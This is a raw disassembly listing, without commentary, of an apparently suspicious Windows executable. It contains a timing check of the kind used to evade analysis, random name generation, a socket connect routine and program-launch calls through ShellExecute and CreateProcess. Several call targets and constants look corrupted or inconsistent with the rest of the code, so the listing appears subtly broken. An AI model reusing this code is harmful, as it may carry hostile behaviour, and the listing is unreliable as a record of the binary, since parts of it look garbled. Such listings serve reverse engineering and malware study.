loc_41997B: ; CODE XREF: _294ADE7B:004197CAj
mov ecx, [esp+44h]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 44h
retn 8
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419A30: ; CODE XREF: _294ADE7B:00401FAAj
push esi
mov esi, ecx
call sub_401D2F
push 0
lea ecx, [esi+15h]
call sub_401B1D
mov dword ptr [esi], offset off_4370A4
mov dword ptr [esi+11h], 0
mov dword ptr [esi+823h], 0
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419A70 proc near ; CODE XREF: sub_4013A7j
; _294ADE7B:00401EB5j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401AD2
test [esp+4+arg_0], 1
jz short loc_419A88
push esi
call sub_430332
add esp, 4
loc_419A88: ; CODE XREF: sub_419A70+Dj
mov eax, esi
pop esi
retn 4
sub_419A70 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419AA0 proc near ; CODE XREF: sub_401AD2j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 6C13CFh
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401E6F
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401EC9
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_419AA0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419B10: ; CODE XREF: _294ADE7B:00401C17j
push esi
mov esi, ecx
call sub_401D2F
push 0
lea ecx, [esi+15h]
call sub_401B1D
mov eax, [esp+8]
mov ecx, [esp+0Ch]
mov [esi+11h], eax
mov dword ptr [esi], offset off_4370A4
mov [esi+823h], ecx
mov eax, esi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419B50 proc near ; CODE XREF: sub_4015F0j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 14h
push edi
mov edi, ecx
mov eax, [edi+11h]
test eax, eax
jz loc_419C60
mov ecx, [edi+823h]
test ecx, ecx
jz loc_419C60
push ebx
push ebp
lea ebx, [edi+15h]
push esi
push eax
mov ecx, ebx
xor esi, esi
call sub_401433
mov ebp, ds:dword_4B38CC
test al, al
jnz short loc_419BB3
loc_419B89: ; CODE XREF: sub_419B50+61j
mov al, [edi+10h]
test al, al
jz loc_419C4F
mov al, ds:byte_499254
test al, al
jz short loc_419BB3
push 3609E7h
call ebp
mov eax, [edi+11h]
mov ecx, ebx
push eax
call sub_401433
test al, al
jz short loc_419B89
loc_419BB3: ; CODE XREF: sub_419B50+37j
; sub_419B50+4Bj
mov al, [edi+10h]
test al, al
jz loc_419C4F
loc_419BBE: ; CODE XREF: sub_419B50+F9j
mov al, ds:byte_499254
test al, al
jz loc_419C4F
test esi, esi
jnz short loc_419BEE
push 1B04F3h
call sub_43034A
add esp, 4
test eax, eax
jz short loc_419BEA
push esi
mov ecx, eax
call sub_401B1D
jmp short loc_419BEC
; ---------------------------------------------------------------------------
loc_419BEA: ; CODE XREF: sub_419B50+8Ej
xor eax, eax
loc_419BEC: ; CODE XREF: sub_419B50+98j
mov esi, eax
loc_419BEE: ; CODE XREF: sub_419B50+7Dj
push 0
push 0
push esi
mov ecx, ebx
call sub_401A8C
test al, al
jnz short loc_419C07
push 0D8279h
call ebp
jmp short loc_419C44
; ---------------------------------------------------------------------------
loc_419C07: ; CODE XREF: sub_419B50+ACj
xor ecx, ecx
lea edx, [esp+24h+var_14]
mov [esp+24h+var_10], ecx
lea eax, [esp+24h+var_10]
mov [esp+24h+var_C], ecx
push edx
mov [esp+28h+var_8], ecx
push eax
mov [esp+2Ch+var_4], ecx
mov ecx, esi
mov [esp+2Ch+var_14], 10h
call sub_4017C6
mov al, byte ptr [esp+24h+var_C]
test al, al
jz short loc_419C44
push esi
call dword ptr [edi+823h]
add esp, 4
loc_419C44: ; CODE XREF: sub_419B50+B5j
; sub_419B50+E8j
mov al, [edi+10h]
test al, al
jnz loc_419BBE
loc_419C4F: ; CODE XREF: sub_419B50+3Ej
; sub_419B50+68j ...
mov ecx, ebx
call sub_401483
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_419C60: ; CODE XREF: sub_419B50+Bj
; sub_419B50+19j
xor eax, eax
pop edi
add esp, 14h
retn
sub_419B50 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419CC0 proc near ; CODE XREF: sub_401F69j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov edx, [eax]
mov [ecx+806h], edx
mov edx, [eax]
cmp edx, 0FFFFFFFFh
setnz al
mov [ecx+80Bh], al
retn 4
sub_419CC0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419CF0: ; CODE XREF: _294ADE7B:00401B0Ej
mov eax, [esp+0Ch]
push ebx
push ebp
mov ebp, [esp+10h]
push esi
push edi
xor ebx, ebx
xor edi, edi
dec eax
mov [ebp+0], bl
cmp eax, ebx
mov byte ptr [esp+18h], 1
jle short loc_419D65
mov esi, ebp
loc_419D0F: ; CODE XREF: _294ADE7B:00419D63j
cmp esi, ebx
jz short loc_419D65
cmp [esp+18h], bl
jz short loc_419D65
mov ecx, [esp+14h]
push ebx
push 1
push esi
push ecx
call ds:dword_46C13C
cmp eax, ebx
jz short loc_419D74
cmp eax, 0FFFFFFFFh
jz short loc_419D74
call dword ptr ds:63609Eh
xor eax, 18D827h
jz short loc_419D6D
mov [edi+ebp+1], bl
mov al, [esi]
cmp al, 0Ah
jz short loc_419D50
cmp al, 0Dh
jz short loc_419D50
cmp al, bl
jnz short loc_419D58
loc_419D50: ; CODE XREF: _294ADE7B:00419D46j
; _294ADE7B:00419D4Aj
mov [edi+ebp-1], bl
mov [esp+18h], bl
loc_419D58: ; CODE XREF: _294ADE7B:00419D4Ej
mov edx, [esp+1Ch]
inc edi
inc esi
lea eax, [edx-1]
cmp edi, eax
jl short loc_419D0F
loc_419D65: ; CODE XREF: _294ADE7B:00419D0Bj
; _294ADE7B:00419D11j ...
mov eax, [esp+1Ch]
mov [eax+ebp-1], bl
loc_419D6D: ; CODE XREF: _294ADE7B:00419D3Cj
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
retn
; ---------------------------------------------------------------------------
loc_419D74: ; CODE XREF: _294ADE7B:00419D2Aj
; _294ADE7B:00419D2Fj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419DB0 proc near ; CODE XREF: sub_40124Ej
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
xor ebx, ebx
xor esi, esi
dec eax
cmp eax, ebx
push edi
mov [ebp+0], bl
mov byte ptr [esp+10h+arg_4], 1
jle short loc_419E1A
mov edi, ebp
loc_419DCF: ; CODE XREF: sub_419DB0+68j
cmp edi, ebx
jz short loc_419E1A
cmp byte ptr [esp+10h+arg_4], bl
jz short loc_419E1A
mov ecx, [esp+10h+arg_0]
push ebx
push 1
push edi
push ecx
call dword ptr ds:0C6C13h
test eax, eax
jz short loc_419E29
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_419DFA
cmp al, bl
jnz short loc_419E0D
loc_419DFA: ; CODE XREF: sub_419DB0+44j
cmp byte ptr [esi+ebp-1], 0Dh
jnz short loc_419E07
mov [esi+ebp-1], bl
jmp short loc_419E09
; ---------------------------------------------------------------------------
loc_419E07: ; CODE XREF: sub_419DB0+4Fj
mov [edi], bl
loc_419E09: ; CODE XREF: sub_419DB0+55j
mov byte ptr [esp+10h+arg_4], bl
loc_419E0D: ; CODE XREF: sub_419DB0+48j
mov edx, [esp+10h+arg_8]
inc esi
inc edi
lea eax, [edx-1]
cmp esi, eax
jl short loc_419DCF
loc_419E1A: ; CODE XREF: sub_419DB0+1Bj
; sub_419DB0+21j ...
mov eax, [esp+10h+arg_8]
pop edi
pop esi
mov [eax+ebp-1], bl
pop ebp
mov al, 1
pop ebx
retn
; ---------------------------------------------------------------------------
loc_419E29: ; CODE XREF: sub_419DB0+3Aj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
sub_419DB0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419E50: ; CODE XREF: _294ADE7B:004019FBj
push ebx
mov ebx, [esp+8]
push ebp
mov ebp, [esp+10h]
mov ecx, ebp
push esi
mov edx, ecx
push edi
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd
mov ecx, edx
xor esi, esi
and ecx, 3
test ebp, ebp
rep stosb
jle short loc_419EAB
loc_419E76: ; CODE XREF: _294ADE7B:00419EA9j
push 3
push 1
call sub_402018
add esp, 8
dec eax
jz short loc_419E97
dec eax
jz short loc_419E91
dec eax
jnz short loc_419EA6
push 7Ah
push 61h
jmp short loc_419E9B
; ---------------------------------------------------------------------------
loc_419E91: ; CODE XREF: _294ADE7B:00419E86j
push 5Ah
push 41h
jmp short loc_419E9B
; ---------------------------------------------------------------------------
loc_419E97: ; CODE XREF: _294ADE7B:00419E83j
push 39h
push 30h
loc_419E9B: ; CODE XREF: _294ADE7B:00419E8Fj
; _294ADE7B:00419E95j
call sub_402018
add esp, 8
mov [esi+ebx], al
loc_419EA6: ; CODE XREF: _294ADE7B:00419E89j
inc esi
cmp esi, ebp
jl short loc_419E76
loc_419EAB: ; CODE XREF: _294ADE7B:00419E74j
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419ED0 proc near ; CODE XREF: sub_4013C5j
rdtsc
retn
sub_419ED0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419EF0 proc near ; CODE XREF: sub_401735j
var_4 = dword ptr -4
sub esp, 8
push ebx
mov ebx, ds:dword_4B38CC
push ebp
push esi
push edi
xor ebp, ebp
loc_419EFF: ; CODE XREF: sub_419EF0+43j
; sub_419EF0+4Dj
call sub_4013C5
push 3E8h
mov esi, eax
mov edi, edx
call ebx
call sub_4013C5
sub eax, esi
push ebp
sbb edx, edi
push 186A0h
push edx
push eax
call sub_4304C0
push ebp
push 0Ah
push edx
push eax
call sub_4304C0
cmp edx, ebp
mov esi, eax
ja short loc_419EFF
jb short loc_419F3F
cmp esi, 0F4240h
ja short loc_419EFF
loc_419F3F: ; CODE XREF: sub_419EF0+45j
push ebp
push 64h
push edx
push esi
call sub_430440
mov ecx, eax
cmp edx, ebp
mov eax, 64h
mov [esp+18h+var_4], ebp
ja short loc_419FC9
jb short loc_419F5F
cmp ecx, 50h
jnb short loc_419F68
loc_419F5F: ; CODE XREF: sub_419EF0+68j
mov eax, 4Bh
mov [esp+18h+var_4], ebp
loc_419F68: ; CODE XREF: sub_419EF0+6Dj
cmp edx, ebp
ja short loc_419FC9
jb short loc_419F73
cmp ecx, 47h
jnb short loc_419F7C
loc_419F73: ; CODE XREF: sub_419EF0+7Cj
mov eax, 42h
mov [esp+18h+var_4], ebp
loc_419F7C: ; CODE XREF: sub_419EF0+81j
cmp edx, ebp
ja short loc_419FC9
jb short loc_419F87
cmp ecx, 37h
jnb short loc_419F90
loc_419F87: ; CODE XREF: sub_419EF0+90j
mov eax, 32h
mov [esp+18h+var_4], ebp
loc_419F90: ; CODE XREF: sub_419EF0+95j
cmp edx, ebp
ja short loc_419FC9
jb short loc_419F9B
cmp ecx, 26h
jnb short loc_419FA4
loc_419F9B: ; CODE XREF: sub_419EF0+A4j
mov eax, 21h
mov [esp+18h+var_4], ebp
loc_419FA4: ; CODE XREF: sub_419EF0+A9j
cmp edx, ebp
ja short loc_419FC9
jb short loc_419FAF
cmp ecx, 1Eh
jnb short loc_419FB8
loc_419FAF: ; CODE XREF: sub_419EF0+B8j
mov eax, 19h
mov [esp+18h+var_4], ebp
loc_419FB8: ; CODE XREF: sub_419EF0+BDj
cmp edx, ebp
ja short loc_419FC9
jb short loc_419FC3
cmp ecx, 0Ah
jnb short loc_419FC9
loc_419FC3: ; CODE XREF: sub_419EF0+CCj
xor eax, eax
mov [esp+18h+var_4], ebp
loc_419FC9: ; CODE XREF: sub_419EF0+66j
; sub_419EF0+7Aj ...
sub eax, ecx
pop edi
add eax, esi
pop esi
pop ebp
pop ebx
add esp, 8
retn
sub_419EF0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A020 proc near ; CODE XREF: sub_401EBFj
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_41A020
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
mov al, ds:byte_4405C1
push ebx
push esi
push edi
test al, al
mov [esp+4Ch+var_40], 0
jz loc_41A17F
push ebp
lea ecx, [esp+50h+var_3C]
call sub_4013CF
push 400h
lea ecx, [esp+54h+var_3C]
mov [esp+54h+var_4], 1
xor bl, bl
call sub_401B40
mov ebp, eax
call sub_401DB1
lea ecx, [esp+50h+var_3C]
call sub_401384
mov [esp+50h+arg_4], eax
lea eax, [esp+50h+arg_4]
push eax
push ebp
call ds:dword_4B38E4
test eax, eax
jnz short loc_41A0B6
mov edi, offset byte_43FDC8
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
loc_41A0B6: ; CODE XREF: sub_41A020+74j
movsx ecx, byte ptr [ebp+0]
mov eax, 41h
loc_41A0BF: ; CODE XREF: sub_41A020+A9j
cmp ecx, eax
jnz short loc_41A0C5
mov bl, 1
loc_41A0C5: ; CODE XREF: sub_41A020+A1j
inc eax
cmp eax, 5Bh
jl short loc_41A0BF
mov eax, 61h
loc_41A0D0: ; CODE XREF: sub_41A020+BAj
cmp ecx, eax
jnz short loc_41A0D6
mov bl, 1
loc_41A0D6: ; CODE XREF: sub_41A020+B2j
inc eax
cmp eax, 7Bh
jl short loc_41A0D0
test bl, bl
jnz short loc_41A102
mov edi, offset byte_43FDC8
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_41A102: ; CODE XREF: sub_41A020+BEj
mov esi, ds:dword_4B3A9C
call esi
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401122
call esi
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401122
call esi
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401122
mov esi, [esp+50h+arg_0]
lea edx, [esp+50h+var_3C]
push edx
mov ecx, esi
call sub_40146F
mov [esp+50h+var_40], 1
lea ecx, [esp+50h+var_3C]
mov byte ptr [esp+50h+var_4], 0
call sub_4011F9
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, [esp+40h+var_C]
mov large fs:0, ecx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_41A17F: ; CODE XREF: sub_41A020+2Aj
lea ecx, [esp+4Ch+var_24]
call sub_4013CF
mov ebx, 2
mov [esp+4Ch+var_4], ebx
call ds:dword_4B38D0
push eax
call ds:dword_4B3AA0
mov edi, ds:dword_4B3A9C
add esp, 4
call edi
cdq
mov ecx, 3
idiv ecx
lea ecx, [esp+4Ch+var_24]
mov esi, edx
mov edx, [esp+4Ch+arg_4]
push edx
add esi, 6
call sub_401564
test esi, esi
jle short loc_41A21E
loc_41A1C8: ; CODE XREF: sub_41A020+1FCj
lea ecx, [esp+4Ch+var_3C]
call sub_4013CF
lea eax, [esp+4Ch+var_24]
lea ecx, [esp+4Ch+var_3C]
push eax
mov byte ptr [esp+50h+var_4], 3
call sub_401E65
call edi
cdq
mov ecx, 1Ah
idiv ecx
lea ecx, [esp+4Ch+var_3C]
add edx, 61h
push edx
call sub_401726
push eax
lea edx, [esp+54h+var_24]
push offset dword_43BD58
push edx
call sub_40102D
add esp, 10h
lea ecx, [esp+4Ch+var_3C]
mov byte ptr [esp+4Ch+var_4], bl
call sub_4011F9
dec esi
jnz short loc_41A1C8
loc_41A21E: ; CODE XREF: sub_41A020+1A6j
mov esi, [esp+4Ch+arg_0]
lea eax, [esp+4Ch+var_24]
push eax
mov ecx, esi
call sub_40146F
lea ecx, [esp+4Ch+var_24]
mov [esp+4Ch+var_40], 1
mov byte ptr [esp+4Ch+var_4], 0
call sub_4011F9
mov ecx, [esp+4Ch+var_C]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 40h
retn
sub_41A020 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41A2F0: ; CODE XREF: _294ADE7B:00401500j
mov al, [esp+4]
cmp al, 20h
jz short loc_41A2FF
cmp al, 9
jz short loc_41A2FF
xor al, al
retn
; ---------------------------------------------------------------------------
loc_41A2FF: ; CODE XREF: _294ADE7B:0041A2F6j
; _294ADE7B:0041A2FAj
mov al, 1
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41A320: ; CODE XREF: _294ADE7B:00401D9Dj
mov eax, [esp+4]
push offset word_43BD60
push eax
call ds:dword_4B3A90
add esp, 8
test eax, eax
jz short loc_41A344
push eax
call ds:dword_4B3A94
add esp, 4
mov al, 1
retn
; ---------------------------------------------------------------------------
loc_41A344: ; CODE XREF: _294ADE7B:0041A335j
xor al, al
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41A360: ; CODE XREF: _294ADE7B:00401424j
sub esp, 30h
push ebx
push ebp
push esi
push edi
mov edi, [esp+44h]
test edi, edi
jz loc_41A5BE
mov esi, offset byte_43FDC8
mov eax, edi
loc_41A37A: ; CODE XREF: _294ADE7B:0041A39Cj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_41A3A2
test cl, cl
jz short loc_41A39E
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_41A3A2
add eax, 2
add esi, 2
test cl, cl
jnz short loc_41A37A
loc_41A39E: ; CODE XREF: _294ADE7B:0041A386j
xor eax, eax
jmp short loc_41A3A7
; ---------------------------------------------------------------------------
loc_41A3A2: ; CODE XREF: _294ADE7B:0041A382j
; _294ADE7B:0041A392j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41A3A7: ; CODE XREF: _294ADE7B:0041A3A0j
test eax, eax
jz loc_41A5BE
push 20h
lea eax, [esp+24h]
push edi
push eax
call ds:dword_4B3AE0
mov edi, ds:dword_4B3AD8
lea ecx, [esp+2Ch]
push offset dword_43B7F8
push ecx
call edi
add esp, 14h
mov [esp+10h], eax
test eax, eax
jz loc_41A5BE
mov ebx, 1
lea esi, [esp+14h]
loc_41A3E7: ; CODE XREF: _294ADE7B:0041A404j
push offset dword_43B7F8
push 0
call edi
add esp, 8
mov [esi], eax
test eax, eax
jz loc_41A5BE
inc ebx
add esi, 4
cmp ebx, 4
jl short loc_41A3E7
mov ebp, [esp+10h]
mov esi, offset dword_43BD7C
mov eax, ebp
loc_41A411: ; CODE XREF: _294ADE7B:0041A433j
mov cl, [eax]
mov bl, [esi]
mov dl, cl
cmp cl, bl
jnz short loc_41A439
test dl, dl
jz short loc_41A435
mov cl, [eax+1]
mov bl, [esi+1]
mov dl, cl
cmp cl, bl
jnz short loc_41A439
add eax, 2
add esi, 2
test dl, dl
jnz short loc_41A411
loc_41A435: ; CODE XREF: _294ADE7B:0041A41Dj
xor eax, eax
jmp short loc_41A43E
; ---------------------------------------------------------------------------
loc_41A439: ; CODE XREF: _294ADE7B:0041A419j
; _294ADE7B:0041A429j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41A43E: ; CODE XREF: _294ADE7B:0041A437j
test eax, eax
jnz short loc_41A44C
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41A44C: ; CODE XREF: _294ADE7B:0041A440j
mov esi, offset dword_43BD78
mov eax, ebp
loc_41A453: ; CODE XREF: _294ADE7B:0041A475j
mov cl, [eax]
mov bl, [esi]
mov dl, cl
cmp cl, bl
jnz short loc_41A47B
test dl, dl
jz short loc_41A477
mov cl, [eax+1]
mov bl, [esi+1]
mov dl, cl
cmp cl, bl
jnz short loc_41A47B
add eax, 2
add esi, 2
test dl, dl
jnz short loc_41A453
loc_41A477: ; CODE XREF: _294ADE7B:0041A45Fj
xor eax, eax
jmp short loc_41A480
; ---------------------------------------------------------------------------
loc_41A47B: ; CODE XREF: _294ADE7B:0041A45Bj
; _294ADE7B:0041A46Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41A480: ; CODE XREF: _294ADE7B:0041A479j
mov edi, [esp+14h]
test eax, eax
jnz short loc_41A4CA
mov esi, offset dword_43BD74
mov edx, edi
loc_41A48F: ; CODE XREF: _294ADE7B:0041A4B1j
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41A4B7
test bl, bl
jz short loc_41A4B3
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41A4B7
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41A48F
loc_41A4B3: ; CODE XREF: _294ADE7B:0041A49Bj
xor edx, edx
jmp short loc_41A4BC
; ---------------------------------------------------------------------------
loc_41A4B7: ; CODE XREF: _294ADE7B:0041A497j
; _294ADE7B:0041A4A7j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41A4BC: ; CODE XREF: _294ADE7B:0041A4B5j
test edx, edx
jnz short loc_41A4CA
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41A4CA: ; CODE XREF: _294ADE7B:0041A486j
; _294ADE7B:0041A4BEj
mov esi, offset dword_43BD70
mov edx, ebp
loc_41A4D1: ; CODE XREF: _294ADE7B:0041A4F3j
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41A4F9
test bl, bl
jz short loc_41A4F5
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41A4F9
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41A4D1
loc_41A4F5: ; CODE XREF: _294ADE7B:0041A4DDj
xor edx, edx
jmp short loc_41A4FE
; ---------------------------------------------------------------------------
loc_41A4F9: ; CODE XREF: _294ADE7B:0041A4D9j
; _294ADE7B:0041A4E9j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41A4FE: ; CODE XREF: _294ADE7B:0041A4F7j
test edx, edx
jnz short loc_41A544
mov esi, offset dword_43BD6C
mov edx, edi
loc_41A509: ; CODE XREF: _294ADE7B:0041A52Bj
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41A531
test bl, bl
jz short loc_41A52D
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41A531
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41A509
loc_41A52D: ; CODE XREF: _294ADE7B:0041A515j
xor edx, edx
jmp short loc_41A536
; ---------------------------------------------------------------------------
loc_41A531: ; CODE XREF: _294ADE7B:0041A511j
; _294ADE7B:0041A521j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41A536: ; CODE XREF: _294ADE7B:0041A52Fj
test edx, edx
jnz short loc_41A544
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41A544: ; CODE XREF: _294ADE7B:0041A500j
; _294ADE7B:0041A538j
mov esi, offset dword_43BD68
mov ecx, ebp
loc_41A54B: ; CODE XREF: _294ADE7B:0041A56Dj
mov al, [ecx]
mov bl, [esi]
mov dl, al
cmp al, bl
jnz short loc_41A573
test dl, dl
jz short loc_41A56F
mov al, [ecx+1]
mov bl, [esi+1]
mov dl, al
cmp al, bl
jnz short loc_41A573
add ecx, 2
add esi, 2
test dl, dl
jnz short loc_41A54B
loc_41A56F: ; CODE XREF: _294ADE7B:0041A557j
xor ecx, ecx
jmp short loc_41A578
; ---------------------------------------------------------------------------
loc_41A573: ; CODE XREF: _294ADE7B:0041A553j
; _294ADE7B:0041A563j
sbb ecx, ecx
sbb ecx, 0FFFFFFFFh
loc_41A578: ; CODE XREF: _294ADE7B:0041A571j
test ecx, ecx
jnz short loc_41A5BE
mov esi, offset dword_43BD64
mov eax, edi
loc_41A583: ; CODE XREF: _294ADE7B:0041A5A5j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_41A5AB
test cl, cl
jz short loc_41A5A7
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_41A5AB
add eax, 2
add esi, 2
test cl, cl
jnz short loc_41A583
loc_41A5A7: ; CODE XREF: _294ADE7B:0041A58Fj
xor eax, eax
jmp short loc_41A5B0
; ---------------------------------------------------------------------------
loc_41A5AB: ; CODE XREF: _294ADE7B:0041A58Bj
; _294ADE7B:0041A59Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41A5B0: ; CODE XREF: _294ADE7B:0041A5A9j
test eax, eax
jnz short loc_41A5BE
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41A5BE: ; CODE XREF: _294ADE7B:0041A36Dj
; _294ADE7B:0041A3A9j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A670 proc near ; CODE XREF: sub_401EA1j
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push ebx
push esi
push 6
push 1
push 2
xor bl, bl
call ds:dword_4B3CAC
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41A6D8
cmp esi, 0FFFFFFFFh
jz short loc_41A6D8
mov eax, [esp+18h+arg_0]
push eax
call ds:dword_4B3CBC
mov ecx, [esp+18h+arg_4]
mov [esp+18h+var_C], eax
push ecx
call ds:dword_4B3CB0
lea edx, [esp+18h+var_10]
push 10h
push edx
push esi
mov [esp+24h+var_E], ax
mov [esp+24h+var_10], 2
call ds:dword_4B3CB4
test eax, eax
jnz short loc_41A6C9
mov bl, 1
loc_41A6C9: ; CODE XREF: sub_41A670+55j
push esi
call ds:dword_4B3CA8
mov al, bl
pop esi
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41A6D8: ; CODE XREF: sub_41A670+18j
; sub_41A670+1Dj
pop esi
xor al, al
pop ebx
add esp, 10h
retn
sub_41A670 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A700 proc near ; CODE XREF: sub_401262j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push 0
push 0
push eax
push ecx
push offset aOpen ; "open"
push 0
call ds:dword_4B3BE4
cmp eax, 20h
setnl al
retn
sub_41A700 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A740 proc near ; CODE XREF: sub_401FBEj
var_54 = byte ptr -54h
var_44 = dword ptr -44h
var_14 = word ptr -14h
arg_0 = dword ptr 4
sub esp, 54h
push edi
mov ecx, 11h
xor eax, eax
lea edi, [esp+58h+var_44]
rep stosd
mov [esp+58h+var_14], ax
lea eax, [esp+58h+var_54]
mov edx, [esp+58h+arg_0]
lea ecx, [esp+58h+var_44]
push eax
push ecx
push 0
push 0
push 28h
push 0
push 0
push 0
push edx
push 0
mov [esp+80h+var_44], 44h
call ds:dword_4B38DC
test eax, eax
setnle al
pop edi
add esp, 54h
retn
sub_41A740 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41A7B0: ; CODE XREF: _294ADE7B:004017B7j
sub esp, 354h
mov eax, ds:off_43BD88
mov ecx, ds:off_43BD8C
mov [esp+0], eax
mov al, ds:byte_43FDC8
push esi
push edi
